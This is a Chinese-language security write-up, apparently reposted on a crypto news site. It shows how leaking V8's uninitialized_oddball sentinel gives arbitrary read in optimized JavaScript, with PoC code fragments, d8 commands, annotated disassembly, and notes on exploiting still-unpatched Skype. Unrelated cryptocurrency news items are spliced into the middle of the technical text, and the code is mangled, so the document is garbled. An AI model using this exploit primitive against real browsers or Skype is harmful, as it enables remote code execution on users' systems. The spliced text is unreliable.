前言
Sentinelvalue(又名flagvalue/tripvalue/roguevalue/signalvalue/dummydata)是算法中的一个特殊值，通常在循环或递归算法中作为终止条件的特殊值存在。Chrome源码中有很多Sentinelvalue。from-leaking-thehole-to-chrome-renderer-rce和TheHoleNewWorld-howasmallleakwillsinkagreatbrowser(CVE-2021-38003)中，都介绍了如何通过泄露TheHole对象实现CVE-2021-38003和CVE-2022–1364的沙箱内任意代码执行。在我们发文阐述该缓解绕过大概一周后，谷歌团队也迅速把这两个在野CVE同步更新到了github上。时间节点如下：
{this</p>
<p> <b>fhi(f){this</b></p>
<p> flow(f){this</p>
<p> }functionUninitializedOddballExploiter(uninitialized_oddball){varh=newHelpers();letarr=newArray(0x1000000);arr=1</p>
<p> ;%PrepareFunctionForOptimization(read);read(exp2,0);%OptimizeFunctionOnNextCall(read);constold_space=0x200000;//0x200000letstart_offset=Math</p>
<p> 独家｜以太坊24h链上交易量520.58万ETH 环比上升57.56%:金色财经消息，据欧科云链OKLink链上数据显示，以太坊24h链上活跃地址数逾49.28万，环比上升1.94%；链上交易量近520.58万ETH，环比上升57.56%；链上交易笔数逾112.45万笔，环比上升2.23%。 </p>
<p> 截至下午2时，以太坊全网算力约为237.22TH/s，环比上升1.99TH/s，建议Gas费用为98.68Gwei，环比下降12.77%，未确认交易数约10.63万笔。[2020/9/22]</p>
<p> }UninitializedOddballExploiter(%TheHole());//注意对%TheHole()做patch</p>
<p> 我们对上述代码在v8-11.0.0中测试，当%TheHole()返回UninitializedOddball时，仍旧可以实现相对任意读。</p>
<p> ./d8--expose-gc--allow-natives-syntax--print-opt-code--print-opt-code-filter=read--trace-turbo/home/avboy/Desktop/poc2.js</p>
<p> 对优化后的JavaScript的read函数去掉Prologue，留下关键反汇编如下所示：</p>
<p> 0x558b2000406929488b4d18REX.Wmovqrcx,0x558b2000406d2df6c101testbrcx,0x1;;checkifrcx(ie.obj,the1stargoffunction)is'Smi'0x558b20004070300f842e020000jz0x558b200042a4<+0x264>;;deoptreason'Smi'0x558b200040763641b831cd1900movlr8,0x19cd31;;(compressed)object:0x17140019cd31<Map(HOLEY_ELEMENTS)>0x558b2000407c3c443941ffcmpl,r8;;checkthemap(r8=0x19cd31isthemapofobj);;herewecheckthemapofobj,butwedidnotcheckthevalueofkey(ie.obj.prop);;andifwemakethevalueofkeytobeuninitialized_oddball,thereisthebypass0x558b20004080400f8522020000jnz0x558b200042a8<+0x268>;;deoptreason'wrongmap'0x558b2000408646448b410bmovlr8,;;*(addr(obj)+0xb)->r80x558b2000408a4a478b44060bmovlr8,;;r14ishighaddr0x558b2000408f4f4d03c6REX.Waddqr8,r14;;r8->inReadOnlySpace:#uninitialized0x558b2000409252458b4807movlr9,;;0x558b20004096564d03ceREX.Waddqr9,r14;;r9->0x2eb90000000d0x558b2000409959458b400bmovlr8,;;0x558b2000409d5d488b7d20REX.Wmovqrdi,;;rdiisindexofarr,the2ndargoffunction0x558b200040a16140f6c701testbrdi,0x1;;checkifrdiis'Smi'0x558b200040a5650f85da000000jnz0x558b20004185B5<+0x145>;;ifrdiisnot'Smi',JMP0x558b200040ab6b4c63dfREX.Wmovsxlqr11,rdi;;0x558b200040ae6e49d1fbREX.Wsarqr11,1;;r11/2,because'Smi'storedas'Smi'*2inMemory0x558b200040b1714d63c0REX.Wmovsxlqr8,r80x558b200040b47449d1f8REX.Wsarqr8,10x558b200040b7774d3bd8REX.Wcmpqr11,r8;;r11=0x40002,real_offsetastheindexofarr0x558b200040ba7a0f83ec010000jnc0x558b200042ac<+0x26c>;;deoptreason'outofbounds'0x558b200040c080c4817b1044d907vmovsdxmm0,;;movedoublefloatvaluetoxmm00x558b200040c787c5f92ec0vucomisdxmm0,xmm0;;ComparefloatvalueandSetEFLAGS0x558b200040cb8b0f8a88010000jpe0x558b20004259B9<+0x219>;;jpe(Jumpifparityeven)0x558b200040d1????91??0f8582010000?????????jnz?0x558b20004259??B9?<+0x219>??;;?jnz(Jump?if?not?zero)</p>
<p> 独家 | 加密货币市值前十币种1涨9跌 LTC、EOS领跌:金色财经数据显示，截止当前，加密货币市值前十币种1涨9跌。近24小时涨跌情况分别为：BTC（8803美元，-5.86%）、ETH（225.56美元，-9.44%）、XRP（0.229美元，-9.59%）、BCH（317.91美元，-11.16%）、BSV（224.58美元，-13.77%）、USDT（1.00美元，+0.3%）、LTC（60.97美元，-14.41%）、EOS（3.55美元，-13.83%）、BNB（18.64美元，-9.69%）、XTZ（2.77美元，-1.89%）。[2020/2/27]</p>
<p> 在0x558b2000407c处，检查了read函数的obj，确定其prop属性正确，但没有检查以obj.prop为key的Value，而是直接按照JavaScript语义计算偏移，求取数组的数值。如此导致我们在计算的时造成类型混淆，实现任意读。</p>
<p> 如上汇编所示，当我们传入uninitialized_oddball时，从0x558b20004086开始以obj为起点计算，最终在vmovsdxmm0,指令中完成任意读，数据保存在xmm0寄存器中。类似TheHole对象，由于uninitialized_oddball在v8内存中排序靠前，且对象内容更加原始，伪造更加容易，在TheHole缓解绕过修复后，该方法不失为绕过首选。同理，任意写我们可以参考Issue1352549进行构造分析。由于原理雷同，这里不再赘述。</p>
<p> 这里修复建议是，对优化后的函数返回数组元素时，添加对数组map的检查，避免直接计算偏移返回数组数值。</p>
<p> 独家 | Bakkt期货合约数据一览:金色财经报道，Bakkt Volume Bot数据显示，2月5日，Bakkt比特币月度期货合约单日交易额为1888万美元，环比上涨32%；未平仓合约量为1294万美元，环比上涨11%。[2020/2/6]</p>
<p> PatchGapAlert</p>
<p> 在我们谈论PatchGap时，实际上我们不仅仅需要关注曾经出现的历史漏洞，我们还要关注厂商在基础组件中悄悄修复的漏洞。对Issue1352549分析后，我们迅速排查了可能存在PatchGap的软件，这里不得不指出，截至目前Skype仍旧没有对该漏洞进行修复。在x86下任意读写会稍有不同。x64下由于存在地址压缩，在tuborgfun优化javascript生成的代码中，v8会默认将基址加上。x86由于没有基址，因此任意读写是直接相对于整个进程的。如下汇编所示：</p>
<p> 0x3979b8ff3f8b790bmovedi,0x3979b902428b7f0bmovedi,0x3979b905458b4707moveax,;;eaxwillbeafixednumber0x3979b908488b7f0bmovedi,0x3979b90b4b8b5510movedx,0x3979b90e4ef6c201test_bdl,0x10x3979b911510f85b6000000jnz0x3979b9cd<+0x10d>0x3979b9175789d6movesi,edx0x3979b91959d1fesaresi,1;;esiisindex0x3979b91b5bd1ffsaredi,1;;0x3734b73a0x3979b91d5d3bf7cmpesi,edi0x3979b91f5f0f838e010000jnc0x3979bab3<+0x1f3>;;deoptreason'outofbounds'0x3979b92565c5fb104cf007vmovsdxmm1,xmm0,;;</p>
<p> 金色财经独家分析 石油币Petros并不单纯:委内瑞拉意图外国船只为港口服务支付石油币Petros，石油币是目前加密货币市场上一个特殊的存在，委内瑞拉总统尼古拉斯·马杜罗在2017年12月3日的电视讲话中宣布了石油币的诞生。马杜罗表示，新货币将得到委内瑞拉储备的石油，汽油，黄金和钻石的支持。然而有评论称石油币背后目的并不单纯，由于石油价格下跌，这对委内瑞拉的经济造成了极大的影响，2015年，委内瑞拉GDP倒减5.7%，2016年更是高达8%。大萧条带来了严重的货币贬值，其2016年通货膨胀率接近500%，生活水平从“人均收入1.9万美元的南美首富国家”跌落至赤贫。因此石油币的推出可以说是马杜罗开出的一剂治国药方，他希望尽速募资，稳定国内局势，为接下来的大选做准备；另一方面，则是希望通过多样的流通手段，维持委内瑞拉在石油市场的地位。不过市场上大部分人士对此并不看好，认为石油币无法拯救委内瑞拉于水火。[2018/5/10]</p>
<p> 如上所示，esi为任意读数组的索引，eax为固定值，edi为)
因此，在edi范围内，可以任意读写。在具体做skype的exp时，虽然此时我们没有地址压缩带来内存读写的便利，且skype开启了aslr。但由于该文件太大，直接放在4GB内存中，黑客只需要对某个固定地址进行读写，便可以一个极大的概率读写skype文件中的内容。结合PE解析等传统思路，不难完成整个漏洞利用链。基于此，我们无法保证黑客不能在短时间内完成整个利用链的适配。
金色财经独家分析 联盟链在行业内平衡效率与信任:今日业界人士指出“供应链的1.0是线下的核心企业主导的1+N模式，供应链的2.0是线上的核心企业主导的1+N模式，而是用区块链的供应链3.0是更大的产业整合的N+N模式”的观点实际上很好的解读了联盟链的特点。在某个特定领域中，联盟链很好的促进了行业细分的发展。因为需要建立信任的各方圈子固定，领域一致，联盟链将很好地处理特定问题。多中心化体现出区块链的优势，大企业N+N的模式，利用多个大企业的良好信用建立更大的信任，对原有的信任体系进行了很大的改进与升级。[2018/4/20]
这次PatchGap实际上不止需要排查Issue1352549，由于一个新的绕过方法的公开，直接导致了类似Issue1314616和Issue1216437的利用难度大幅度降低，黑客几乎不需要花费任何研究成本，即可实现以往任何泄露uninitialized_oddball漏洞的完整利用，包括谷歌clusterfuzz提交的所有Issue中类似的漏洞。
总结
本文仅抛砖引玉，粗略来谈通过泄露Sentinelvalue中的uninitialized_Oddball来实现任意读原语。如第二部分所示，v8中的Sentinelvalue还有很多，实际上我们在测试Sentinelvalue的时候，也会经常容易遇到崩溃，不乏有非int3的崩溃出现。由于Uninitialized_Oddball和TheHole均已被证明可以在v8中实现环节绕过，我们有充分的理由怀疑其他Sentinelvalue也可能导致类似问题。
这也给我们一点提示：
01-其他uninitialized_Oddball泄露是否会轻松实现v8的RCE；
02-我们已经看到，谷歌会迅速将TheHole绕过进行修复，我们也看到利用垃圾回收实现ASLR绕过被长期搁置。这说明类似issue仍处在一个模糊边界，即是否被正式当作安全问题对待。
03-如果02中的问题被当作正式安全问题对待，那么在fuzzer中是否有必要考虑将%TheHole/uninitialized_Oddball等Sentinelvalue作为变量加入，来挖掘其他利用原语；
这里不得不强调的是，无论该类问题是否被正式当作安全问题对待，它都会大大缩减黑客实现完整利用周期。
参考资料
https://bugs.chromium.org/p/chromium/issues/detail?id=1314616
https://bugs.chromium.org/p/chromium/issues/detail?id=1352549
https://bugs.chromium.org/p/chromium/issues/detail?id=1216437
https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/
官方Discord原文公告SpaceID将在12月14日,13：00进行Discord名称的快照.
在本期EmpireWeeklyRoundup中,NicCarter与主持人Jason和Santi一起讨论Genesis和DCG是否能解决他们的流动性问题并避免破产,以及接下来的预期.
注：近期一个名为nostr的去中心化社交协议获得了比特币社区的追捧,这引来了Twitter现任CEOElonMusk争议性的封杀政策.
MarsBitCryptoDaily2022年12月20日 一、?今日要闻 Alameda曾向初创公司ModuloCapital提供4亿美元投资多策略对冲基金ModuloCapital.
摘要 SBT由Vitalik受游戏《魔兽世界》启发后在论文中提出,是一种公开可见、不可转让,但可以被撤回的代币类型.
1.概览 ElementFinance是一个可以让用户在DeFi市场寻求固定收益的协议。ElementFinance曾获得a16z和Placeholder领投的440万美元融资,同时以太坊联合创.
链资讯